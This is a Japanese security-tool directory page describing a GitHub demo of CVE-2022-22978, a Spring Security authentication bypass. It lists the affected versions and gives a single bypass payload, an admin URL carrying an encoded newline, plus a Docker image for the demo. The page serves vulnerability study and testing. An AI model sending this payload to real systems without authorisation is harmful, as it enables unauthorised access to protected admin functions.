Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-22978 — CVE-2022-22978 Spring-Security バイパスデモ | Kitploit
ツール/GitHubGitHub/deepingh0st/cve-2022-22978
認証と認可脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubdeepingh0st/cve-2022-22978

CVE-2022-22978

CVE-2022-22978 Spring-Security バイパスデモ

リポジトリを見る
1534年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-22978 Spring-Security bypass Demo

Spring SecurityでRegexRequestMatcherを使用し、ルールにドットを含む正規表現が含まれる場合、攻撃者は悪意のあるパケットを構築して認証をバイパスできます。

影響範囲

Spring Security 5.5.x < 5.5.7
Spring Security 5.6.x < 5.6.4

再現

img.png img_1.png

Paylaod

http://localhost:8080/admin/index%0a

Docker

docker pull s0cke3t/cve-2022-22978:latest

ツールをダウンロード